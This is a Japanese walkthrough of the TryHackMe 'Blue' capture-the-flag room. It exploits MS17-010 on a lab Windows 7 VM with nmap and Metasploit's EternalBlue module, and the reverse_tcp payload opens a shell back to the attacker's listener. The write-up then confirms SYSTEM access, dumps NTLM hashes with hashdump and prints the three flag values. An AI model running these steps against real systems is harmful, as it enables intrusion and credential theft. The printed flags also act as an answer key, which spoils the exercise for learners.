TryHackMe Blue

「Eternal Blue」の脆弱性(MS17-010)を悪用したハッキング演習のルームです。偵察からエクスプロイト、エスカレーションを経てフラグを取得していきます。

Task1 Recon

まずNmapでポートスキャンを実行して、アクティブ偵察を行います。脆弱性スキャンのスクリプトも実行します。

nmap -sV –script vuln -v <ターゲットIPアドレス>
nmapのオプション概要
-sVサービス・バージョン検出
–script vuln脆弱性スキャンスクリプトを実行
-v詳細表示
Kali Linux
┌──(kali㉿kali)-[~]
└─$ nmap -sV --script vuln -v 10.49.152.125                                                    
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-11 06:47 -0400
NSE: Loaded 152 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 06:47
Completed NSE at 06:48, 10.02s elapsed
Initiating NSE at 06:48
Completed NSE at 06:48, 0.00s elapsed
Initiating Ping Scan at 06:48
Scanning 10.49.152.125 [4 ports]
Completed Ping Scan at 06:48, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:48
Completed Parallel DNS resolution of 1 host. at 06:48, 0.50s elapsed
Initiating SYN Stealth Scan at 06:48
Scanning 10.49.152.125 [1000 ports]
Discovered open port 445/tcp on 10.49.152.125
Discovered open port 139/tcp on 10.49.152.125
Discovered open port 135/tcp on 10.49.152.125
Discovered open port 3389/tcp on 10.49.152.125
Discovered open port 49153/tcp on 10.49.152.125
Discovered open port 49160/tcp on 10.49.152.125
Discovered open port 49152/tcp on 10.49.152.125
Discovered open port 49154/tcp on 10.49.152.125
Completed SYN Stealth Scan at 06:48, 4.02s elapsed (1000 total ports)
Initiating Service scan at 06:48
Scanning 8 services on 10.49.152.125
Service scan Timing: About 62.50% done; ETC: 06:49 (0:00:34 remaining)
Completed Service scan at 06:49, 60.94s elapsed (8 services on 1 host)
NSE: Script scanning 10.49.152.125.
Initiating NSE at 06:49
Completed NSE at 06:50, 62.28s elapsed
Initiating NSE at 06:50
NSE: [ssl-ccs-injection] No response from server: ERROR
Completed NSE at 06:50, 4.65s elapsed
Nmap scan report for 10.49.152.125
Host is up (0.13s latency).
Not shown: 992 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  tcpwrapped
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

NSE: Script Post-scanning.
Initiating NSE at 06:50
Completed NSE at 06:50, 0.00s elapsed
Initiating NSE at 06:50
Completed NSE at 06:50, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 143.81 seconds
           Raw packets sent: 1020 (44.856KB) | Rcvd: 1002 (40.112KB)

nmapの結果から1000までのポートのうち、135/139/445が空いています。そして、脆弱性スキャンスクリプトの結果から「MS17-010(EternalBlue)」の脆弱性があることがわかります。

Question

Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)
ターゲットマシンをスキャンしてください。(やり方がわからない場合は、Nmapの部屋を参照することをお勧めします)

Answer
No answer needed


How many ports are open with a port number under 1000?
ポート番号が1000未満のポートはいくつ開いていますか?

Answer

What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)
このマシンにはどのような脆弱性がありますか?(回答形式:ms??-???, 例:ms08-067)

Answer

Task2 Gain Access

Metasploitで「EternalBlue」のエクスプロイトを実行します。Kali LinuxでmsfconsoleコマンドでMetasploitを起動します。MS17-010のエクスプロイトを検索します。

Kali Linux
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Use the capture plugin to start multiple 
authentication-capturing and poisoning services
~省略~
msf > search ms17-010

Matching Modules
================

   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
~省略~


Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce                                                                                    
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

検索結果から、「exploit/windows/smb/ms17_ms17_010_eternalblue」を選択します。

Kali Linux
msf > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > 

show optionsコマンドでエクスプロイトを実行するために必要なオプションを確認します。

Kali Linux
msf exploit(windows/smb/ms17_010_eternalblue) > show options 

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/d
                                             ocs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authenticati
                                             on. Only affects Windows Server 2008 R2, Windows 7, W
                                             indows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
                                             Only affects Windows Server 2008 R2, Windows 7, Windo
                                             ws Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affec
                                             ts Windows Server 2008 R2, Windows 7, Windows Embedde
                                             d Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.124.129  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command. 

エクスプロイトを実行するために指定するオプションは以下です。

オプション名概要
RHOSTSターゲットIPアドレス
LHOST送信元IPアドレス。VPNのtun0のIPアドレスにしなければいけない

RHOSTとLHOSTのオプションを指定します。

Kali Linux
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.49.152.125
RHOSTS => 10.49.152.125
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.131.186
LHOST => 192.168.131.186

オプションを指定したら、exploitコマンド(またはrunコマンド)でエクスプロイトを実行します。

Kali Linux
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.131.186:4444 
[*] 10.49.152.125:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.49.152.125:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.25/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.49.152.125:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.49.152.125:445 - The target is vulnerable.
[*] 10.49.152.125:445 - Connecting to target for exploitation.
[+] 10.49.152.125:445 - Connection established for exploitation.
[+] 10.49.152.125:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.49.152.125:445 - CORE raw buffer dump (42 bytes)
[*] 10.49.152.125:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.49.152.125:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.49.152.125:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.49.152.125:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.49.152.125:445 - Trying exploit with 12 Groom Allocations.
[*] 10.49.152.125:445 - Sending all but last fragment of exploit packet
[*] 10.49.152.125:445 - Starting non-paged pool grooming
[+] 10.49.152.125:445 - Sending SMBv2 buffers
[+] 10.49.152.125:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.49.152.125:445 - Sending final SMBv2 buffers.
[*] 10.49.152.125:445 - Sending last fragment of exploit packet!
[*] 10.49.152.125:445 - Receiving response from exploit packet
[+] 10.49.152.125:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.49.152.125:445 - Sending egg to corrupted connection.
[*] 10.49.152.125:445 - Triggering free of corrupted buffer.
[*] Sending stage (232006 bytes) to 10.49.152.125
[*] Meterpreter session 1 opened (192.168.131.186:4444 -> 10.49.152.125:49260) at 2026-06-11 07:08:49 -0400
[+] 10.49.152.125:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.49.152.125:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.49.152.125:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > 

エクスプロイトに成功すると、meterpreterシェルに入ります。

Question

Start Metasploit.
Metasploit を起動してください。

Answer
No answer needed


Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/……..)
そのマシンに対して実行するエクスプロイトコードを見つけてください。そのコードのフルパスは何ですか?(例:exploit/……..)

Answer

Show options and set the one required value. What is the name of this value? (All caps for submission)
オプションを表示し、必要な値を1つ設定してください。この値の名前は何ですか?(提出時はすべて大文字で入力してください)

Answer

Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter:

set payload windows/x64/shell/reverse_tcp

With that done, run the exploit!
通常であれば、このエクスプロイトをそのまま実行しても問題ありませんが、学習のためには、ターゲットを攻撃する前に、もう1つ作業を行うことをお勧めします。以下のコマンドを入力し、Enterキーを押してください:

set payload windows/x64/shell/reverse_tcp

準備ができたら、エクスプロイトを実行しましょう!

Answer
No answer needed


Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.
エクスプロイトが正常に実行されたことを確認してください。DOSシェルが表示されるまで、Enterキーを押す必要がある場合があります。このシェルをバックグラウンドに移行してください(Ctrl + Z)。これが失敗した場合は、ターゲットVMを再起動する必要があるかもしれません。ターゲットを再起動する前に、もう一度実行してみてください。

Answer

No answer needed

Task3 Escalate

今のバージョンのMetasploitでは、エクスプロイトに成功するとmeterpreterシェルになっているようです。最高権限にエスカレーションできています。そのため、Task3で必要な操作は特にありません。Questionに回答するだけでOKです。

Kali Linux
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreterシェルで実行可能な主なコマンドを表にまとめています。

コマンド概要
hashdumpWindowsのSAM(Security Account Manager)データベースから、ユーザー名とパスワードのNTLMハッシュをダンプします。
sysinfoOSのバージョン、アーキテクチャ(x64/x86)、コンピュータ名、ドメイン名などの基本情報を表示します。
psターゲット上で動いているプロセスの一覧を表示します。セキュリティソフト(防壁)が動いていないか、どのプロセスがSYSTEM権限で動いているかを確認するのに使います。
netstatターゲットのネットワーク接続状態や、オープンしているポートを表示します。
ls/cd/pwdファイル一覧の表示、ディレクトリ移動、現在のパスを確認します。
downloadターゲットからファイルをダウンロードします。
uploadターゲットへファイルをアップロードします。
search -f <ファイル名>ターゲット内のファイルを検索します。

Question

If you haven’t already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)
まだ行っていない場合は、以前に取得したシェルをバックグラウンドに移してください(CTRL + Z)。MetasploitでシェルをMeterpreterシェルに変換する方法について、オンラインで調べてください。使用するポストモジュールの名前は何ですか?(正確なパス。以前に選択したエクスプロイトと同様です)

Answer

Select this (use MODULE_PATH). Show options, what option are we required to change?
これを選択してください(MODULE_PATHを使用)。オプションが表示されますが、どのオプションを変更する必要がありますか?

Answer

Set the required option, you may need to list all of the sessions to find your target here.
必要なオプションを設定してください。対象のセッションを見つけるには、すべてのセッションを一覧表示する必要がある場合があります。

Answer
No answer needed


Run! If this doesn’t work, try completing the exploit from the previous task once more.
さあ、実行しよう!もしうまくいかない場合は、前の課題のエクスプロイトをもう一度試してみてください。

Answer
No answer needed


Once the meterpreter shell conversion completes, select that session for use.
Meterpreterシェルへの変換が完了したら、そのセッションを選択して使用してください。

Answer
No answer needed


Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command ‘shell’ and run ‘whoami’. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.
権限が NT AUTHORITY\SYSTEM に昇格していることを確認してください。getsystem を実行して確認してください。コマンド「shell」で DOS シェルを開き、「whoami」を実行しても構いません。これにより、実際に system として実行されていることが確認できるはずです。その後、このシェルをバックグラウンドに移し、Meterpreter セッションを選択して再び使用してください。

Answer
No answer needed


List all of the processes running via the ‘ps’ command. Just because we are system doesn’t mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

「ps」コマンドを使用して、実行中のすべてのプロセスを一覧表示してください。ユーザーが「system」であっても、そのプロセスが「system」であるとは限りません。このリストの下の方にある、NT AUTHORITY\SYSTEM として実行されているプロセスを見つけ、そのプロセスID(一番左の列)を書き留めてください。

Answer

No answer needed


Migrate to this process using the ‘migrate PROCESS_ID’ command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.

前の手順で書き留めたプロセスIDを指定して、「migrate PROCESS_ID」コマンドを実行し、このプロセスへ移行してください。プロセスの移行は安定性が低いため、何度か試行する必要があるかもしれません。もし失敗した場合は、変換プロセスを再実行するか、マシンを再起動して最初からやり直す必要があります。その場合は、次回は別のプロセスを試してみてください。

Answer

No answer needed

Task4 Cracking

ユーザのパスワードをクラッキングします。meterpreterシェルでhashdumpコマンドでNTLMハッシュを取得します。

Kali Linux
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

「Jon」というユーザ名とパスワードのハッシュを取得できます。ハッシュクラッキングツールでパスワードを解析します。オンラインのCrackStation(https://crackstation.net/)で解析すると、以下のようにパスワードがわかります。

Question

Within our elevated meterpreter shell, run the command ‘hashdump’. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?
昇格されたMeterpreterシェル内で、「hashdump」コマンドを実行します。これにより、適切な権限を持っている限り、そのマシン上のすべてのパスワードがダンプされます。デフォルト以外のユーザーの名前は何ですか?

Answer

Copy this password hash to a file and research how to crack it. What is the cracked password? 
このパスワードハッシュをファイルにコピーし、それを解読する方法を調べてください。解読されたパスワードは何ですか?

Answer

Task5 Find flags!

3つのフラグを探します。フラグはflag1.txt、flag2.txt、flag3.txtというファイル名のようなので、meterpreterシェルからsearchコマンドで探すのが一番手っ取り早いでしょう。

Kali Linux
meterpreter > search -f *flag*
Found 6 results...
==================

Path                                                             Size (bytes)  Modified (UTC)
----                                                             ------------  --------------
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag1.lnk  482           2019-03-17 15:26:42 -0400
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag2.lnk  848           2019-03-17 15:30:04 -0400
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag3.lnk  2344          2019-03-17 15:32:52 -0400
c:\Users\Jon\Documents\flag3.txt                                 37            2019-03-17 15:26:36 -0400
c:\Windows\System32\config\flag2.txt                             34            2019-03-17 15:32:48 -0400
c:\flag1.txt                                                     24            2019-03-17 15:27:21 -0400

meterpreter > cat c:\flag1.txt
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > cat "c:\flag1.txt"
flag{access_the_machine}meterpreter > 
meterpreter > cat "c:\Windows\System32\config\flag2.txt"
flag{sam_database_elevated_access}meterpreter > 
meterpreter > cat "c:\Users\Jon\Documents\flag3.txt"
flag{admin_documents_can_be_valuable}meterpreter > 

catでファイルを指定するときは、パスを””で囲ってください。またはバックスラッシュをエスケープしてください。

Question

Flag1? This flag can be found at the system root.
Flag1?このフラグはシステムのルートディレクトリにあります。

Answer

Flag2? This flag can be found at the location where passwords are stored within Windows.
Flag2?このフラグは、Windows内のパスワードが保存されている場所にあります。

Answer

flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.
flag3?このフラグは、戦利品を探すのに絶好の場所にあります。何しろ、管理者はたいていかなり興味深いものを保存しているものですから。

Answer